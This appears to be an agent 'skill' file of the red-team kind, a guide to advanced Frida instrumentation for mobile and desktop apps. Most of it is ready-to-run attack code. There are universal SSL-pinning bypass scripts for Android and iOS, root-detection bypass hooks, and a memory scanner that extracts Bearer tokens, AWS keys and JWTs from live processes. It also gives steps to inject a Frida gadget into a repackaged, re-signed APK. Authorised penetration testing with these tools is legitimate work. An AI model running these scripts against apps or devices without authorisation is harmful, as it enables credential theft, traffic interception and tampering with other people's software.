---
name: rt-frida-advanced
description: "Advanced Frida dynamic instrumentation for mobile and desktop — custom hook scripts, API interception, memory scanning, bypass root/jailbreak/SSL detection at runtime, Frida gadget for non-rooted devices, process injection, stalking, code tracing, heap inspection. Works on Android + iOS + Windows + Linux. The single most powerful mobile hacking tool. Docker: rtexit/kali:v3.1 has frida-tools pre-installed."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`

# rt-frida-advanced — Dynamic Instrumentation for Mobile Hacking

## Overview

Frida is the foundation of modern mobile pentesting. It injects a JavaScript engine into any running process and lets you hook, modify, and trace ANY function at runtime — without source code, without recompilation, without root (via Gadget). This skill covers advanced usage beyond basic Objection.

**When to use:**
- Bypass SSL pinning in apps that survive standard Objection bypass
- Understand how an app communicates with its backend
- Bypass root/jailbreak detection to run dynamic analysis
- Extract hardcoded keys, decrypt traffic, hook crypto functions
- Trace exact function calls to find logic flaws
- Any app where you need runtime visibility

---

## Setup in Docker + Android

```bash
# Docker has frida-tools installed
docker exec rtexit-kali bash -c "frida --version"

# Connect ADB to device (real device or emulator)
# Option A: USB device passed through to Docker
docker exec rtexit-kali bash -c "adb devices"

# Option B: ADB over TCP (emulator on host)
docker exec rtexit-kali bash -c "adb connect 192.168.200.1:5555 && adb devices"

# Push frida-server to Android device
docker exec rtexit-kali bash -c "
# Get device architecture
adb shell getprop ro.product.cpu.abi
# arm64-v8a → download frida-server-<ver>-android-arm64

# Download matching frida-server
FRIDA_VER=\$(pip3 show frida | grep Version | awk '{print \$2}')
wget https://github.com/frida/frida/releases/download/\${FRIDA_VER}/frida-server-\${FRIDA_VER}-android-arm64.xz
unxz frida-server-\${FRIDA_VER}-android-arm64.xz
adb push frida-server-\${FRIDA_VER}-android-arm64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
"
```

---

## Core: Hooking Functions

```javascript
// hook-template.js — hook any Java method

Java.perform(() => {
  // Hook a specific method
  const TargetClass = Java.use('com.example.app.CryptoUtils');
  
  TargetClass.encrypt.overload('java.lang.String', 'java.lang.String').implementation = function(data, key) {
    console.log('[*] encrypt called');
    console.log('    data: ' + data);
    console.log('    key: ' + key);
    
    // Call original and capture result
    const result = this.encrypt(data, key);
    console.log('    result: ' + result);
    return result;
  };
});
```

```bash
# Run hook script
docker exec rtexit-kali bash -c "
frida -U -f com.example.app -l hook-template.js --no-pause
# -U = USB device
# -f = spawn app fresh (ensures hooks before init)
# --no-pause = don't stop at start
"
```

---

## SSL Pinning Bypass — Manual Frida Script

```javascript
// ssl-bypass-universal.js — works when Objection fails

Java.perform(() => {
  // Bypass OkHttp3 CertificatePinner
  try {
    const CertificatePinner = Java.use('okhttp3.CertificatePinner');
    CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
      console.log('[*] OkHttp3 CertificatePinner.check bypassed');
    };
    CertificatePinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function() {
      console.log('[*] OkHttp3 CertificatePinner.check (cert array) bypassed');
    };
  } catch(e) {}

  // Bypass TrustManagerImpl
  try {
    const TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
      console.log('[*] TrustManagerImpl.verifyChain bypassed for: ' + host);
      return untrustedChain;
    };
  } catch(e) {}

  // Bypass X509TrustManager
  try {
    const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    const SSLContext = Java.use('javax.net.ssl.SSLContext');
    const TrustManager = Java.registerClass({
      name: 'com.frida.TrustManager',
      implements: [X509TrustManager],
      methods: {
        checkClientTrusted: function(chain, authType) {},
        checkServerTrusted: function(chain, authType) {},
        getAcceptedIssuers: function() { return []; }
      }
    });
    const ctx = SSLContext.getInstance('TLS');
    ctx.init(null, [TrustManager.$new()], null);
    SSLContext.setDefault(ctx);
    console.log('[*] SSLContext TrustManager replaced');
  } catch(e) {}

  // Bypass Conscrypt verifyHostname
  try {
    const OkHostnameVerifier = Java.use('okhttp3.internal.tls.OkHostnameVerifier');
    OkHostnameVerifier.verify.overload('java.lang.String', 'javax.net.ssl.SSLSession').implementation = function(host, session) {
      return true;
    };
  } catch(e) {}
});
```

```bash
docker exec rtexit-kali bash -c "
frida -U -f com.target.app -l ssl-bypass-universal.js --no-pause
"
```

---

## Root Detection Bypass

```javascript
// root-bypass.js

Java.perform(() => {
  // RootBeer bypass
  try {
    const RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
    RootBeer.isRooted.implementation = function() {
      console.log('[*] RootBeer.isRooted() bypassed → false');
      return false;
    };
    RootBeer.isRootedWithoutBusyBoxCheck.implementation = function() { return false; };
  } catch(e) {}

  // File existence checks for su binary
  const File = Java.use('java.io.File');
  File.exists.implementation = function() {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('supersu') || path.includes('magisk') || path.includes('busybox')) {
      console.log('[*] File.exists blocked for: ' + path);
      return false;
    }
    return this.exists();
  };

  // Runtime.exec bypass (blocks 'which su', 'su', etc.)
  const Runtime = Java.use('java.lang.Runtime');
  Runtime.exec.overload('java.lang.String').implementation = function(cmd) {
    if (cmd.includes('su') || cmd.includes('which') || cmd.includes('busybox')) {
      console.log('[*] Runtime.exec blocked: ' + cmd);
      throw Java.use('java.io.IOException').$new('Command blocked by Frida');
    }
    return this.exec(cmd);
  };
});
```

---

## Memory Scanning — Find Secrets at Runtime

```javascript
// memory-scan.js — scan process memory for keys, tokens, secrets

Process.enumerateRanges('r--').forEach(range => {
  try {
    Memory.scanSync(range.base, range.size, 'Bearer ').forEach(match => {
      const token = match.address.readUtf8String(200);
      console.log('[TOKEN] @' + match.address + ': ' + token.substring(0, 100));
    });
  } catch(e) {}
});

// Scan for specific patterns
const patterns = [
  { name: 'AWS Key', pattern: 'AKIA' },
  { name: 'JWT', pattern: 'eyJ' },
  { name: 'API Key header', pattern: 'X-Api-Key' },
];

Process.enumerateRanges('r--').forEach(range => {
  patterns.forEach(p => {
    try {
      Memory.scanSync(range.base, range.size, p.pattern).forEach(match => {
        console.log('[' + p.name + '] @' + match.address + ': ' + match.address.readUtf8String(100));
      });
    } catch(e) {}
  });
});
```

---

## Stalker — Trace Every Function Call

```javascript
// trace-calls.js — trace all calls in a specific class

Java.perform(() => {
  const TargetClass = Java.use('com.example.app.AuthManager');
  
  // Trace ALL methods in class
  Object.getOwnPropertyNames(TargetClass).forEach(method => {
    try {
      TargetClass[method].implementation = function() {
        console.log('[CALL] AuthManager.' + method + '(' + Array.from(arguments).join(', ') + ')');
        const result = this[method].apply(this, arguments);
        console.log('[RET]  AuthManager.' + method + ' → ' + result);
        return result;
      };
    } catch(e) {}
  });
});
```

---

## Frida Gadget — Non-Rooted Devices

```bash
# Gadget = inject Frida as a shared library into the APK
# No root required!

docker exec rtexit-kali bash -c "
# 1. Decompile APK
apktool d target.apk -o target_decompiled

# 2. Download frida-gadget .so for target arch
wget https://github.com/frida/frida/releases/download/16.x.x/frida-gadget-16.x.x-android-arm64.so.xz
unxz frida-gadget-16.x.x-android-arm64.so.xz
mv frida-gadget-16.x.x-android-arm64.so target_decompiled/lib/arm64-v8a/libfrida-gadget.so

# 3. Inject gadget loader into smali (MainActivity.smali)
# Add to onCreate() before super.onCreate():
# invoke-static {}, Lcom/example/app/MainActivity;->loadLibrary()V
# Actually: add System.loadLibrary('frida-gadget') call in smali

# 4. Repackage + sign
apktool b target_decompiled -o target_patched.apk
uber-apk-signer -a target_patched.apk --out ./signed/

# 5. Install + run — app waits for Frida to attach
adb install signed/target_patched-aligned-debugSigned.apk
adb shell am start -n com.example.app/.MainActivity
# App pauses → attach Frida
frida -U Gadget -l your-script.js
"
```

---

## iOS Frida

```bash
docker exec rtexit-kali bash -c "
# iOS: frida-server installed via Sileo on jailbroken device
# Connect via SSH tunnel
ssh -p 2222 root@192.168.200.50

# List processes
frida-ps -H 192.168.200.50

# Attach to iOS app
frida -H 192.168.200.50 -n 'TargetApp' -l ssl-bypass-ios.js
"
```

```javascript
// ssl-bypass-ios.js — iOS SSL pinning bypass

ObjC.schedule(ObjC.mainQueue, () => {
  // NSURLSession bypass
  try {
    const NSURLSessionTask = ObjC.classes.NSURLSessionTask;
    Interceptor.attach(NSURLSessionTask['- resume'].implementation, {
      onEnter: function() {
        const task = new ObjC.Object(this.context.x0);
        console.log('[*] NSURLSession resume: ' + task.currentRequest().URL().absoluteString());
      }
    });
  } catch(e) {}
});

// Bypass SecTrustEvaluate (common pinning method)
Interceptor.replace(Module.findExportByName('Security', 'SecTrustEvaluate'), new NativeCallback((trust, result) => {
  console.log('[*] SecTrustEvaluate bypassed');
  const p = Memory.alloc(4);
  Memory.writeS32(p, 1); // kSecTrustResultProceed
  result.writePointer(p);
  return 0; // errSecSuccess
}, 'int', ['pointer', 'pointer']));
```

---

## Useful One-Liners

```bash
# List all loaded classes
docker exec rtexit-kali bash -c "frida -U -f com.target.app --eval 'Java.perform(() => { Java.enumerateLoadedClasses({ onMatch: (c) => console.log(c), onComplete: () => {} }) })' --no-pause 2>&1 | grep -i 'auth\|crypto\|pin\|cert\|ssl'"

# Watch all HTTP traffic class
docker exec rtexit-kali bash -c "frida -U -n com.target.app -l /opt/frida-scripts/watch-http.js"

# Dump all SharedPreferences
docker exec rtexit-kali bash -c "objection -g com.target.app explore --startup-command 'android sslpinning disable'"
```

---

## Related Skills
- `rt-exploit-android` — Android testing methodology
- `rt-exploit-ios` — iOS testing methodology
- `rt-mobile-ssl-pinning` — deep SSL pinning bypass techniques
- `rt-apk-repackaging` — inject Frida gadget into APK
- `rt-cross-platform-mobile` — Flutter/React Native specific bypasses

## References
- https://frida.re/docs/javascript-api/
- https://github.com/interference-security/frida-scripts
- https://codeshare.frida.re (community scripts)
- https://attack.mitre.org/techniques/T1625/ — Hooking
